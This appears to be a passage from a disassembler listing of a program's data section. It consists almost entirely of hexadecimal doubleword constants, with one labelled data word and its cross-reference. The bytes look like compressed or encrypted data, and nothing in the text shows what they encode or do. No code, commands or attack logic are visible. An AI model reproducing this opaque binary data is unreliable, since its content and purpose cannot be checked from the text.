		dd 8E0C3098h, 9018CF67h, 8AA29940h, 9C8011Ah, 3C7163Dh
		dd 1E64493Ch, 87E0BB04h, 10CFA895h, 86698584h, 420CC8h
		dd 0E5B6EAF5h, 0DD928DF9h, 213B09CCh, 0EAED00A2h, 768F14A3h
		dd 4600E697h, 0C7056FDCh, 30AD8EC3h, 99692AA5h,	0F3011FB7h
		dd 0B93EAAB0h, 898D2B8h, 9F782120h, 14741F07h, 2A806AEFh
		dd 435AAEh, 0A63BD7F4h,	0AD05AF2Ch, 0B4F8B9C3h,	9572807Dh
		dd 4D760079h, 0AD91F38Bh, 86F592DDh, 0CC3A73A9h, 0AC90C861h
		dd 0F41FB8C0h, 22A246B0h, 0A06B001Dh, 5B30D01Fh, 500FCAD4h
		dd 0C7EDF94h, 1839E06Ch, 91D7DE6Dh, 8F30F4CEh, 0E8EBA843h
		dd 8780036Ch, 2F369568h, 585CBDA9h, 0EA0EF2ACh,	0F021E5BBh
		dd 0A98335C8h, 0DB0AEAF6h, 889AE87Dh, 43FC1842h, 0E8E96069h
		dd 639D220h, 0AA13A23h,	0DD7D89B9h, 42765100h, 3E5E72D5h
		dd 0B108CC6Dh, 5A3AFC21h, 58F58051h, 7993F328h,	0A35618F2h
		dd 5BAFF92Fh, 0F0BE3C05h, 0A432940Ch, 187919CBh, 101F71BBh
		dd 0C8490AB1h, 0A36C8F1Eh, 3D3BF1E0h, 890A1DD3h, 0A8B49413h
		dd 37408800h, 603073B0h, 26353138h, 0B40D07E8h,	0B9BE688Ah
		dd 809FE891h, 42745160h, 0B6448C65h, 51683BFEh,	5D4C2680h
		dd 0EBB03AEEh, 78AF1430h, 0C029A282h, 0EF3C3471h, 5C001566h
		dd 0AC8B0332h, 4FCBA79h, 5123BF9Dh, 8949373h, 92604A78h
		dd 78756E11h, 0B1E70360h, 0A90F2DD9h, 21650830h, 7678ADCFh
		dd 31A574E6h, 56198F41h, 0EBF4505Ch, 1A003746h,	4E22C711h
		dd 183697D8h, 0A8B00844h, 773046F3h, 6EC32018h,	36BC0484h
		dd 88E7D8E4h, 74449C48h, 94655002h, 36B8129Dh, 3C100197h
		dd 204DE3F4h, 8E068F1Ch, 5D0ED1AEh, 9C90C3D1h, 20644B03h
		dd 7760ECE0h, 0E723D278h, 0D1C43D81h, 3578AF00h, 0B4F38333h
		dd 96560CC2h, 4D216850h, 28009877h, 1B30F1F7h, 552F7202h
		dd 67F5BC24h, 71952980h, 0BE4CB549h, 0C92FD002h, 41A29722h
		dd 3820E5CCh, 1FE48C7Bh, 1AB11D11h, 6E871C88h, 6B201FA5h
		dd 9144729Ah, 49E89C2Ch, 9C1F88C6h, 9180B511h, 2CABE3C0h
		dd 0C1F41E07h, 67C0A217h, 0DF2B7EB9h, 0DAF80958h, 18ED1819h
		dd 61780A7Ah, 70A8A9E7h, 2890B2CEh, 0A5D35F01h,	3A72595Bh
		dd 4448CC22h, 1EC1B410h, 84FF095Fh, 0C98836E5h,	4BCF0081h
		dd 8C5E3430h, 0ADEB2004h, 416211E5h, 0EAF4AB20h, 0DCB43C66h
		dd 97E4C900h, 0BC6B2AD4h, 1D3E80A0h, 2F0FD01Eh,	0E8EA3241h
		dd 0E9812E56h, 0E6B8E9DAh, 44108228h, 683AD3F4h, 60A2B2D4h
		dd 57CB931h, 5901C5EEh,	0B0E8652Fh, 0C0423E92h,	51D730A4h
		dd 0BD428312h, 9007E838h, 69F300F8h, 45CCAC03h,	183FE7D9h
		dd 0F880E0FBh, 626E9CFh, 0DC5DD8F3h, 460939C7h,	0A1702B9Ch
		dd 0C4159D9Ch, 93F22822h, 3BD32130h, 330AEA38h,	4A25A79h
		dd 0D0082012h, 1326BD54h, 0A4BAEC2Ch, 7770C4A3h, 6B09003Ch
		dd 102E6422h, 8A064A89h, 0DCDF6D69h, 0B1B024D1h, 0AC874718h
		dd 3200BC41h, 490B20B6h, 0BB47FCh, 7514DB9Ch, 0BC3D7313h
		dd 0E1079E02h, 418DB9E4h, 8318F84Ch, 0E7D67808h, 6F1CFE1h
		dd 64787BD5h, 4C34588h,	879047A8h, 0E4CE3FC6h, 0D19166ACh
		dd 0EFFA1000h, 95AF70D5h, 669BF456h, 808558E9h,	8102EA46h
		dd 91E7D478h, 0D3137931h, 5E0C78A8h, 293D700h, 0A9DA5749h
		dd 0ABDE305Dh, 6D5BED91h, 9481DD68h, 0AC9E8807h, 7AB8811Eh
		dd 0B2E061F3h, 0A4D909EBh, 5010A583h, 0A600F41Ah, 710C1D7Eh
		dd 6AF61C9h, 1226CE73h,	5305170h, 42C159C6h, 0A518247Ch
		dd 903247Ah, 0BC04DE61h, 0EAF3605Bh, 0E9E510B8h, 803AC88Dh
		dd 0C4EAEB9Ch, 0BE244199h, 2511F42Eh, 6BE6260Dh, 40F04129h
		dd 5F50015Eh, 82328850h, 1F73BFBh, 0A5091Eh, 7874E8E4h
		dd 0C3BBA5Fh, 720489ECh, 9E74A48Ah, 75516160h, 116D4223h
		dd 69FD00B8h, 16222C51h, 0BD541399h, 23643AE9h,	18340263h
		dd 8E60277Dh, 0A209453Fh, 8FC4F843h, 78B88D60h,	0CEC27047h
		dd 44F0C73Ah, 3D9660B2h
		dd 0BD06002Fh, 0C142C4B5h, 1318B05Bh, 0A268D9F8h, 0A3F412CAh
		dd 0E7580167h, 45B3FBE8h, 5EFB838Ch, 5CB153h, 0D122290Ah
		dd 2348CC1h, 9D2BAF28h,	0F09784B6h, 0A2804191h,	6ACFC89Bh
		dd 19CDC600h, 271D4F1Fh, 2E1086E7h, 0D80D735Ch,	20197187h
		dd 9C0040B9h, 4E48107Eh, 0AB1BB9Bh, 0C20DE766h,	90EB11C8h
		dd 0A9D33FFEh, 0D0C0C879h, 488D78ACh, 9502550Bh, 2F0EF0E7h
		dd 0D9379C60h, 0F3F90CC0h, 1340150Ch, 0CDDAF1Ch, 5E417254h
		dd 1D487309h, 7800498Fh, 1F08BC18h, 0CF02B120h,	0A46F1D51h
		dd 0D7406E9Dh, 0AED92E5Ah, 0A29F00E7h, 69F47C26h, 1A2480B6h
		dd 0B18CD86Ah, 48AE7990h, 8715E07Dh, 0A1008C72h, 0E94B6050h
		dd 2B010CFBh, 7C5A2993h, 40E6B772h, 0BD92DF4h, 1B5F19C1h
		dd 5D974C10h, 0D440E789h, 283245C6h, 63BC7798h,	30A27869h
		dd 0C293B10Fh, 61914122h, 6DEC0499h, 5B1D034Dh,	0D895E7BCh
		dd 2D426809h, 85F4B772h, 0C3EC25E9h, 0D90FF38h,	0B0256E66h
		dd 831020A6h, 7A49654h,	4605AA13h, 90AF3494h, 0EA435A7Ch
		dd 4D1F6403h, 0C0481ED7h, 7AA1670Dh, 0D100B936h, 101836h
		dd 25B8F733h, 1B71B763h, 90487226h, 0C95DD943h,	5AD12685h
		dd 0E6E1DAF9h, 0E404B062h, 13FC39Ch, 8932F18Fh,	91A01074h
		dd 61FCD354h, 49D0AF36h, 26E7F474h, 8180CC5Eh, 0D98E91D8h
		dd 882C4B8Dh, 0A008C07Bh, 20071C7Ah, 327D79C5h,	0A4428270h
		dd 0C04C60C7h, 0D86C236Dh, 1B20EB09h, 64144798h, 0C32D60B6h
		dd 9B561DCCh, 896BD806h, 3203E638h, 0DE1A027Fh,	0F99EB066h
		dd 0D0982048h, 346B9720h, 41E8E10Fh, 0EB6D29C0h, 0D6428D1h
		dd 5194AAB0h, 61DA6820h, 692DA884h, 0A67061A0h,	0D30B6008h
		dd 0EA6422B6h, 0F574235Dh, 0A282BFC0h, 0E700E0B1h, 0FEA0A349h
		dd 16C4054Dh, 8C7DC58Bh, 0E8302698h, 1A82415Fh,	0B8AC8027h
		dd 6EA0418Ah, 5D56DE10h, 81237700h, 7A406BCh, 0E23D00F8h
		dd 2BFCBB25h, 0B062485Ah, 0C487A988h, 683600B0h, 4146A857h
		dd 6102DC55h, 70A364DDh, 414CA44h, 0D360A0C4h, 42257751h
		dd 0FD8165Dh, 0BA515BFBh, 34440A61h, 2FF82DA6h,	0D9D4A8h
		dd 2B7D0163h, 0ECE0ACE3h, 0C774B80Bh, 0D42002B7h, 0A2F204B9h
		dd 14590164h, 6609E4F8h, 5069A5F0h, 0CF90AEh, 88AD03E9h
		dd 8D8F4C57h, 0D8E0A262h, 44C847DEh, 7251606Eh,	9008B942h
		dd 3E73860Eh, 1036F9E1h, 6EE8504Ch, 50CE688Ch, 87ED9034h
		dd 76045EE5h, 2C81BC84h, 0B045B955h, 0AA88DCCEh, 0B071BEC7h
		dd 5C38A8FBh, 0C1E28214h, 84CC712Ch, 0D0957AC0h, 0DC98031Ch
		dd 5D409366h, 2D101098h, 2F5505C5h, 0E803F7F4h,	6C872Ch
		dd 40F92BB1h, 25B5E4FAh, 45385C00h, 7F59519Ch, 0F5B229DEh
		dd 6E7B83E4h, 0B0F88952h, 427C453h, 3D7C1709h, 266A0046h
		dd 0E291C0D7h, 0FC420DC8h, 30985E37h, 7CE87E70h, 4526A0A0h
		dd 0B91B2702h, 0A7D9491Ah, 15C2AD8Ch, 4A1858DFh, 4CAC4005h
		dd 0BD521EFAh, 7EB51201h, 0DF5DA9FFh, 0A6186C22h, 0B2D4C91Ah
		dd 1346D307h, 0F1601609h, 0BAA36Bh, 0C26FE8B6h,	0ED791928h
		dd 2001B8B0h, 0B229DE05h, 418023A5h, 83F5E88h, 6901613Ch
		dd 83BAD69Fh, 0E039511Ah, 86CA4700h, 0DA7F3E02h, 7C41010Bh
		dd 0E400452Dh, 13426095h, 0ACF400EAh, 5468CC6h,	192E8FDAh
		dd 0B089447Fh, 6D6C90A7h, 8BE494F1h, 6490511Eh,	2D03FC4Fh
		dd 9D18D38Bh, 0D3D80FBh, 9E143F97h, 9992117h, 3461734Dh
		dd 0F5747191h, 7E90332Dh, 2642A89Ch, 908C64EBh,	520C694h
		dd 743B79A9h, 1F48F35h,	0CB2C008Ah, 0E93C0Eh, 0DA0CF88Bh
		dd 72E136BBh, 94B8CE4Dh, 0B20861FCh, 88F06A1Dh,	5E530040h
		dd 7FA3274Dh, 0D912F577h, 58C77AA4h, 0AFB480C9h, 94412D7Dh
		dd 60A3E4DCh, 238051D4h, 0B311C542h, 515CFA00h,	597B133Dh
		dd 36074A1Fh, 21B0E4CDh, 0A448B8D1h, 0F96D6087h, 0B498C574h
		dd 7312AC00h, 0BEFC13E2h, 0BD1FA54h, 6E628D1Dh,	1DE4E465h
		dd 0E9D97D60h, 0C433202Eh, 212480A0h, 4D60C47Ch, 1DC5F306h
		dd 0D93D401Ch, 0C6D9482Ah, 8AF20863h, 0BFC4401h, 0F2E0E9F2h
		dd 73C69C47h, 0D4DB03C1h, 258FC135h, 1D02CB90h,	0F87A480Bh
		dd 0A57409EAh, 0F4611460h, 84506650h, 73CA3FEEh, 0F06B29E9h
		dd 0AEC24E0h, 809CC805h, 36230C73h, 9E012729h, 5DD7E8ACh
		dd 0C422A54Dh, 93A10074h, 0BB67099Bh, 9E98A01Dh, 6DC29200h
		dd 0F53A0447h, 820C92BFh, 708CDBF4h, 347D16F0h,	5E131117h
		dd 0AC46C030h, 494740FBh, 0E4426409h, 0A43C807Bh, 98B7845Bh
		dd 6CA6B8h, 2BEC57Ah, 621AA16h,	0B242E40Eh, 3859A725h
		dd 0D9738610h, 0D1B8B1D1h, 5AB18B7h, 0B98F83ECh, 3EA0D19Eh
		dd 17E061B5h, 0AEB051C0h, 6DC85127h, 0C66440E9h, 4341EBA4h
		dd 0E6213C62h, 0C50543h, 7E76D731h, 0EFB0EB3Bh,	2C9EAC90h
		dd 9014CE03h, 49484E65h, 0B4906D38h, 2CF59662h,	25A8728h
		dd 0A547ACC0h, 843000B7h, 67B3661h, 9E0A63C1h, 0C4272F73h
		dd 4483F4A8h, 0F891A174h, 0E898F214h, 9A008CB1h, 5D447616h
		dd 0EA37E4B5h, 4BFC2546h, 21BF0400h, 0A4A229CFh, 73090853h
		dd 26A41043h, 2194AC12h, 1080AEDAh, 1869D3E3h, 7C830ECBh
		dd 0C0D61442h, 6E63AFF8h, 0A4E39017h, 5A5FC882h, 0F8521090h
		dd 0C802057Ah, 0E8407321h, 9FEC371Fh, 0DF88C213h, 50F06B7Eh
		dd 67033903h, 0C9EBF9CCh, 6430A376h, 0A54F09C0h, 4383AD1h
		dd 9E4B2818h, 0B2CAC800h, 5A5AC2Eh, 9D2CA1AAh, 4A38D02Dh
		dd 0E7EEA238h, 0AD4084BCh, 3AB9D94Eh, 1009573h,	5022C05Fh
		dd 83009BBCh, 56A132E0h, 0EA7F0C9h, 4E7A6AE7h, 0C1057420h
		dd 0E41D441Dh, 0DF1D07E8h, 5EDEA7h, 0E16A8B89h,	7DF06401h
		dd 0FB2CF3Eh, 0E0A481B9h, 0A0D82D37h, 4E26007Ah, 0F803666Ch
		dd 9500DB94h, 4FEB412Ch, 0CFAE1Dh, 72F41CE9h, 0D7ACD91Eh
		dd 0BA2B1101h, 0CE681436h, 0A004C425h, 9120CC00h, 0BADF60E3h
		dd 3D1D2E88h, 2ACA0BD9h, 3B9384AAh, 13A31B0Ah, 0A2841220h
		dd 0C1E8E724h, 21C2D2DAh, 6D506473h, 0C220E24Ch, 480FFCh
		dd 0BA1DFD1Fh, 7FFB8800h, 0CD278B95h, 0E99109D8h, 44242022h
		dd 0D8FCA5F7h, 0AB5FACBBh, 0EB6D7844h, 0BC95B488h, 805F9148h
		dd 0E5BCEB1Fh, 3B448C09h, 0EAF700A8h, 500C4D03h, 54A0DE5Eh
		dd 1720FCBEh, 0FD4F1372h, 0AFA408BBh, 0F11FB9C0h, 22BA46B0h
		dd 0A16A0094h, 6C22AE1Fh, 0E707D358h, 29E23BD0h, 4087DDA0h
		dd 0FC785004h, 6D0E0080h, 0B87D7253h, 0ADFDAFACh, 915C1778h
		dd 405C8E77h, 0DDBF43C7h, 8024B604h, 0B5180902h, 47064CAFh
		dd 6D50380Dh, 5F930039h, 0C79DE49Fh, 48019CA2h,	25A5E6C9h
		dd 582896DEh, 28C76E8h,	4CA06617h, 30711036h, 0B922F544h
		dd 44BAC018h, 112A2622h, 3496D46Fh, 6962D473h, 3B0050F1h
		dd 0C9E91E4Dh, 0CF9E0019h, 299C7D93h, 400F1466h, 85ADA88Bh
		dd 0B712F2D6h, 658798D1h, 0CCE84180h, 8D07C54Fh, 0AA71F227h
		dd 681188E4h, 0B70E7894h, 0CAF601E5h, 0F19D3FBCh, 6FA4B601h
		dd 0A9040324h, 0F89EC853h, 0F5B33Ah, 0E2E1F3FBh, 3EEC93D7h
		dd 131C7500h, 0ED3292BAh, 60A234ACh, 0AD58F0A1h, 0E8618E45h
		dd 0B82EEC66h, 0C8D912F4h, 6B004E54h, 58919054h, 42D7F9h
		dd 1C592CCEh, 3AC2DB37h, 22A522h, 0C9CC536h, 9F1BF1F3h
		dd 0E4AFD409h, 0A052A2h, 0CD2C9B05h, 11CA38B2h,	0C735DB02h
		dd 0E2BCE40Fh, 5E785634h
		dd 0C6009346h, 17AAF5BCh, 732EA62Ch, 74BEC39h, 2AA4E8E8h
		dd 0A448A509h, 0C903FA7Fh, 7A7036A4h, 4CE6EC1Ah, 6EB80048h
		dd 55293C8Ch, 24B7E924h, 0FCCE4000h, 67803B2Bh,	0D7DB7721h
		dd 0B654D588h, 0F42EE020h, 7F1B0F69h, 55402A74h, 34FBB08Ch
		dd 6059C540h, 8A363843h, 0A09513EFh, 0AC8862CCh, 0A1D6279Ch
		dd 5539A4A2h, 104F5C5Ch, 0D6C0A5C8h, 5C428251h,	8E0A4B5h
		dd 0F401515Fh, 64836B81h, 0E875D02Ah, 1DBCBC68h, 36240B8Ch
		dd 64457C97h, 3B60B7E4h, 0BF168F77h, 34807AF1h,	9C53F446h
		dd 45012C0h, 845B88D0h,	98C13E0h, 7CC2D8D4h, 463D409Dh
		dd 15BE8300h, 0B3F4C358h, 0A8683860h, 619056E5h, 20C25875h
		dd 0B8443D69h, 50A42611h, 0BC7E4070h, 0AE0087C5h, 0AF407B5Fh
		dd 16768DDh, 0B11A6254h, 83C7D0FBh, 3C377D30h, 0F327A04Ch
		dd 0FCF1486Dh, 0B8E7887Ch, 0DC25BE2Ch, 42F496A5h, 0C12274h
		dd 0C7E1A02Fh, 0FCF7D52Bh, 8C3B5502h, 2284672h,	846450BDh
		dd 2E1F1900h, 96AA7B94h, 4B3800A1h, 0ADDECFBFh,	64BE50EBh
		dd 9B17B383h, 10DAF863h, 0DFD0026Ch, 7E2E051Bh,	8202C155h
		dd 0C5877478h, 0CE66701Fh, 47F6D47h, 4F20B404h,	0E0D4AF7Bh
		dd 94247097h, 0B054DE22h, 0B48028E8h, 0B3944DBCh, 4F190F1Ah
		dd 0A60A5E08h, 61D30068h, 0F99F8253h, 8DAAD100h, 2395F529h
		dd 4ADFE084h, 0DED490B1h, 602846E4h, 0A248F8BEh, 0D9E51814h
		dd 53011A0h, 0AAACB2AFh, 0E44C0466h, 0D91D41BBh, 59CE69E7h
		dd 67D47BB4h, 7D28E270h, 0C8515892h, 6442C180h,	500EB01h
		dd 0DFC99E83h, 7D604DF6h, 0F7FC2DE6h, 0BC0B6409h, 18C3649Ah
		dd 788060F4h, 0D9E72CD7h, 0FFD471D4h, 43A4888h,	0AE30A709h
		dd 5A2C4019h, 1F37121Bh, 0B044A687h, 0E1749A7Ch, 12AA70F4h
		dd 0C35A18Ch, 87796CC3h, 44316460h, 665DFFh, 8637C307h
		dd 9B62A2C4h, 0B291FCBEh, 0F61FB680h, 0A8ACD2B0h, 799244h
		dd 0ADA61F9Eh, 0CFE4B6EDh, 0E6126EECh, 0EC40BFACh, 6246F09Ah
		dd 0C71102DEh, 0E3D04390h, 61B2B841h, 0D93044A4h, 0A60893A8h
		dd 4F737020h, 0A0B2E28Bh, 0D933C5h, 219D6D16h, 156B704Bh
		dd 0DC89AF3Fh, 71D98950h, 0A214A808h, 581C5A74h, 0A780BCA6h
		dd 0A57E3D07h, 4E6CF107h, 1961FF1Ch, 0A004C437h, 56003DB4h
		dd 2D407C10h, 0BE3E7372h, 250F4098h, 0B2642B6h,	13042496h
		dd 4502C430h, 6C48CC2Ah, 4860E7CDh, 0A4956251h,	2FDF0913h
		dd 2C519445h, 0CB183579h, 9FFE5602h, 87A304BEh,	2502248h
		dd 5181B33h, 0AEB12670h, 0F230A25Dh, 0DA7C30B1h, 437A341Ch
		dd 9A760EC0h, 5BEFA442h, 68C80441h, 2F560FBBh, 8901252h
		dd 24443A81h, 138CF31Ah, 7D7A045Ah, 2160EC60h, 443501BEh
		dd 9852A3ACh, 0A2405450h, 0CCF42813h, 0BE2801A0h, 1AB89D39h
		dd 1D70811Fh, 17A74437h, 0E6F13870h, 28044867h,	8EB6916h
		dd 0ED01C2C8h, 0B8C8E436h, 79DF4882h, 0A473AF25h, 0C4891311h
		dd 46BD7817h, 0A95EB601h, 89264873h, 20695019h,	0CC0CFB1Ch
		dd 3BEF05Fh, 0D4B16F99h, 0DA9AFC2Eh, 0DF6D8C82h, 0F4F310C2h
		dd 99E837BEh, 37F442C0h, 5C90A26Eh, 0D209DCE4h,	0D092F1C7h
		dd 773D3A9Ch, 0CC22F4DCh, 0B0DCF89Eh, 8CBA00h, 0E23186E9h
		dd 0FCF9DA1Eh, 1700C8F6h, 5ECCAE5Bh, 97C90371h,	0B6914C97h
		dd 5779183h, 7C5AE6A1h,	0F4DC2028h, 2885E336h, 0B01F9CC3h
		dd 220EC918h, 0C945271Eh, 1E6C64ADh, 567FFF0Fh,	2947A882h
		dd 6379A409h, 57270D18h, 0EDB4A915h, 28DC098h, 2A1883F8h
		dd 0C7C8C447h, 88BD8138h, 3E6D4E0h, 0ACC42EF1h,	8E412009h
		dd 11E01DFCh, 6BB4C0B5h, 0B91BDD4h, 0E838E390h,	8DF1DCA0h
		dd 0A560796Ah
		db 31h,	0BDh
word_505446	dw 0FD4h		; DATA XREF: ___:off_435710o
		dd 0A9F72410h, 0AA4402A0h, 3C565D56h, 18C0038Ch, 2AC2442h
		dd 0DE18BEECh, 7AF24155h, 0AD1E4E1Ch, 0E44B0C64h, 945A00F8h
		dd 96B85DA3h, 312D58Fh,	0E16B31Fh, 0B723EC3Ah, 0E9BA902h
		dd 10CF288h, 508DBBD4h,	60219F2Eh, 0C6E4AB6Ch, 0D9A67A13h
		dd 64C8E48Bh, 0C23585CFh, 0EF77F081h, 0F06A3B09h, 47823700h
		dd 445818DCh, 92944212h, 527144F2h, 20C098B1h, 9748C2C3h
		dd 0EEE65F00h, 1404FD94h, 0B6C4B86Dh, 0F1C04188h, 68CAEC4Ch
		dd 12464A0Fh, 8A606245h, 0E584C0C1h, 0A01D97B9h, 0A7826411h
		dd 84CECE13h, 0F06B844Fh, 0A412303Eh, 0E240BE2h, 0B1192C40h
		dd 0F47C7345h, 0EEDFAC09h, 37DD8CA4h, 0B3C74718h, 400B8D82h
		dd 738FD946h, 91A07360h, 10972221h, 5D48964h, 90AB4AD3h
		dd 8680BA68h, 0F07A6AAh, 32421983h, 0E8549603h,	800527D3h
		dd 841388F0h, 0D20A5492h, 2DE35884h, 0A4AD630Ah, 0D57159ECh
		dd 2C0EDCA0h, 0CB9D7F00h, 0BB8CD9FCh, 6A5030EDh, 331CD831h
		dd 2B2FD600h, 6D31C757h, 0C4A34D1Ah, 3AEB2609h,	6CB0CCE4h
		dd 3C9978B0h, 9C3C2D80h, 76438504h, 0BB7A2E72h,	5DE902A8h
		dd 451A3B0h, 4B06AD40h,	0B7B50280h, 46709DC3h, 4054BC4Ah
		dd 3F6C8740h, 7DAA005Ah, 0FC13F81Eh, 0E939CCFDh, 0D209F489h
		dd 45F5B12Ch, 601EE41Ch, 0F8EDD536h, 9BFC2FC0h,	0C1670C81h
		dd 20347562h, 0D72DFD3Ch, 11CC1DA1h, 0ACCC8065h, 0A4508F6Bh
		dd 20190080h, 423F72FAh, 0BF00B16Eh, 56982161h,	4B88525Ch
		dd 0C2889770h, 887611A3h, 0C0884D25h, 776B7A0h,	82D0D339h
		dd 0EBB0D614h, 16805058h, 40084A45h, 3EBAA208h,	865D5CC1h
		dd 0EF72C4A8h, 6E8E901h, 0AC84248Bh, 14DC98A2h,	86FF18ECh
		dd 8987621h, 682B3553h,	13EEBD00h, 91461163h, 48E17B8h
		dd 0FE1A8B0h, 0BE15C6B0h, 0F9C80091h, 0FC427D51h, 50D26DEBh
		dd 79244C30h, 938B00AAh, 0E20A15C0h, 7D002089h,	96D8C9E5h
		dd 9DA85EE4h, 16F5C881h, 971BF07Bh, 922C8927h, 0B490C1B0h
		dd 801BA611h, 0E447819h, 0E1659Ch, 0B5DBD7F2h, 801AECC9h
		dd 3F89CB01h, 2D79DEF6h, 3AB8E06Dh, 0C718DA01h,	41736433h
		dd 65CC2C2Fh, 0CA2C4216h, 20FBE042h, 301C78D0h,	5A31AAA2h
		dd 0F700AC9Fh, 0D981E95Eh, 2DDB495h, 73B864D0h,	2C83D13Ah
		dd 2AB89E45h, 72F88B36h, 0DB0A9EEh, 0E999B560h,	902B1576h
		dd 0A2B1050Ch, 81BC4901h, 0E0F73690h, 447F3D19h, 115F7A05h
		dd 18B86E8Eh, 39560174h, 409C8DF0h, 443080D5h, 0D9AE911Eh
		dd 2A110099h, 0DE90A3BAh, 6600BD7Dh, 86BCB894h,	3042FB9Eh
		dd 2E109781h, 58006A82h, 26BA1B5Eh, 954769E9h, 0D6B1E080h
		dd 0F27774BCh, 42C10B4h, 0A18B040Bh, 86E341D0h,	19002479h
		dd 642AA7B9h, 0DC00D3B6h, 0C60F245Eh, 794B88Ch,	0B92CADBCh
		dd 0A8F37525h, 6F079E80h, 8A2352D5h, 7970C09Dh,	272300AEh
		dd 0F78FF7Ch, 0D66F661Fh, 3CA34170h, 30345285h,	50F600B0h
		dd 0CC01EB74h, 5B1DC7A8h, 0CF8063BDh, 0D796FF56h, 0C01D0059h
		dd 8FDDD17Ah, 6102536Fh, 260FCFD5h, 131440E7h, 98DEA47h
		dd 67AFB069h, 0B844D444h, 0DCC0E33Dh, 0E172038Fh, 56D01D1Ah
		dd 0C0B0CAE0h, 0B852D200h, 0DCA62D88h, 807300C4h, 821F1036h
		dd 9B002451h, 4D5F0227h, 9090503Ch, 8D944510h, 0C66697A8h
		dd 1E317980h, 7633DAE4h, 0F8D44100h, 1C57892Fh,	0C64F00EDh
		dd 0F9567AB5h, 7505E7A1h, 0BCE987D6h, 0FF40C803h, 5008D1CCh
		dd 10A5D0h, 6BFAFDD5h, 2299DFB3h, 2D7C6F0Fh, 743FC031h
		dd 609CC89Bh, 4A1DB660h, 7C0C8D20h, 38474FB2h, 41E56023h
		dd 68027642h, 1445F106h, 18E839h, 8180A457h, 0B9E2D127h
		dd 7948632Ch, 268F1E00h, 3F22291h, 0E5257C7Ah, 65B054E4h
		dd 0E018E613h, 0C318557Bh, 6F1003A9h, 6BF57FD7h, 66135818h
		dd 3CCC61h, 65BB1ED4h, 7734C6BEh, 80A08500h, 70EF6B13h
		dd 0E2C21CD7h, 31A9B012h, 0E709A2BAh, 137E92h, 0D30D7CE4h
		dd 33353C4Bh, 0D529CDB0h, 60011A5Ch, 0EA01B6CBh, 1887F6ADh
		dd 100A40E8h, 0F26D127Fh, 22963000h, 7C056589h,	0FDE703CBh
		dd 0FA5FE64Ah, 0D99E6888h, 0CF028800h, 37ED267Bh, 0F32F0013h
		dd 0C041CE5Bh, 8AE8A230h, 10CF0D31h, 64189D5Eh,	0D72FA90Ch
		dd 1865313Bh, 41E62DA2h, 6E14EDAAh, 0C304ABE1h,	682752h
		dd 0DE0F0510h, 0C7BF7773h, 14F74F28h, 31FA8930h, 595DBh
		dd 0FE60B628h, 54717CCCh, 522286F8h, 0E0D00E9h,	0FA72BEA5h
		dd 6A31A655h, 6F2308A2h, 15362080h, 76B13AA5h, 0C1005876h
		dd 0E663F14Ch, 0EEBA890Eh, 6583010Fh, 0F8F05ED6h, 15980EAh
		dd 0F673A305h, 0D1F16089h, 649E314Eh, 0D962E900h, 4BD14CF2h
		dd 788C13FFh, 0D4870077h, 0CDF77AA7h, 1A13ED1Dh, 608BF9F0h
		dd 2D8D0323h, 2AF5C262h, 8360088Eh, 2358E421h, 0A00201D5h
		dd 737BFD68h, 0F48848D7h, 602281C0h, 2E90F9h, 0B3B49CF7h
		dd 0F49F96C0h, 72039471h, 315803E8h, 65D2E9BDh,	0C77E419Eh
		dd 901F3C95h, 765F2A9Ch, 0C8EE2B2Ah, 0A7941B54h, 0A28A8200h
		dd 0BCF76570h, 0ADB0024h, 528122Ch, 0DE150E9Fh,	2370B09Eh
		dd 234F0314h, 62FC2D80h, 67F12081h, 550CF923h, 0D1F38934h
		dd 8FA73F64h, 0BFFEB180h, 739D12A0h, 0C2FCC00h,	4D83351Dh
		dd 0D1C8A8F6h, 0E4C77E0Eh, 156606F4h, 0E0E2EBD3h, 0B4180874h
		dd 0CEF163D5h, 6167078Ch, 33867DE9h, 83035F1h, 34A321D5h
		dd 573D0567h, 0F0127E7h, 325131FCh, 1878E806h, 48619A0h
		dd 2D8C2363h, 2077625Ah, 73235BE5h, 0AC1F522Ah,	5F5A6500h
		dd 0BD362DE9h, 55CB000Fh, 894DF214h, 38CEA54Ch,	81F4ECE6h
		dd 0D6C50BFCh, 0D009E76h, 64E2E549h, 0DCA19C77h, 9869B2CAh
		dd 4CC0B017h, 2D811123h, 80808882h, 512364F0h, 0C5182637h
		dd 0F319AC1Ah, 0D6EC4Eh, 849F875Bh, 7B5FEC39h, 7B3DE091h
		dd 48492D38h, 99B3E28h,	20E58667h, 0A8C841D0h, 177B010Fh
		dd 0E762630Ah, 80A63109h, 0A8C03741h, 6E84BA7h,	51B78A9h
		dd 690259EEh, 767B5C6Bh, 89E4A316h, 0C23900FDh,	7199961h
		dd 3B014D27h, 0DDF61B0Bh, 0CC50889Eh, 62E31DA3h, 0FBF03145h
		dd 69D2B890h, 4F20F4A8h, 0BB6C491Dh, 2006E792h,	0A7D9C51Bh
		dd 677D4460h, 2E0B0560h, 0A4030084h, 1C93ECE3h,	49C1F2E6h
		dd 0C6AEF9E9h, 4C426835h, 678930BBh, 35E96610h,	6731AEE0h
		dd 922D083Eh, 842F225h,	0A2F7E01Ch, 0AF2AF0B8h,	2D7282A0h
		dd 58CC9929h, 0A81DBF18h, 9107B0Ah, 0A8B724B0h,	9CC57F0Ah
		dd 76118CCEh, 8BF817h, 6C52F6D1h, 0B4981339h, 7A1A5005h
		dd 53803B59h, 31CA1E75h, 0A0B966D5h, 0BD8A30E5h, 5FD35500h
		dd 4ABF3316h, 0D0EA0111h, 0AA9C2671h, 0BD50485Ah, 7B18A808h
		dd 434DC4EFh, 0F1A8B522h, 2C604CBFh, 0BE800246h, 0E886E6DBh
		dd 0F8E61446h, 796B8100h, 0E5850C04h, 5BC2019Ah, 67678A1h
		dd 8070BFE3h, 4A30566Fh, 2C53B10Eh, 0C020886Eh,	72C8A510h
		dd 2022EA46h, 0A5173400h, 313A6333h, 70DE39DAh,	83DC4C4Ch
		dd 0EF3F9748h, 0F47F2BD1h, 0B07F02Ch, 7B8214C4h, 25982240h
		dd 0C7300FDh, 76DB4AC5h, 3098A25Bh, 8344E4A7h, 0C0792467h
		dd 4AA26B09h, 0FCA10402h, 0A7FB8974h, 1CA00F8Ch, 797096h
		dd 0C547F428h, 746F5F5Dh, 705249CAh, 4F948C00h,	0FD5777Dh
		dd 296DC681h, 9060B781h, 8A09EC7Bh, 8F1ED899h, 63DE6A00h
		dd 0CD0D8Bh, 9E1D3338h
		dd 0EA3B42B6h, 857B2639h, 0D3A8559Ah, 1E894088h, 0BFCF69Eh
		dd 38104D8Bh, 0E036214h, 0A50C2CC6h, 68B8C820h,	671058D0h
		dd 0E3555C00h, 50687A3h, 2157B09h, 8384108Ah, 0F5340FCEh
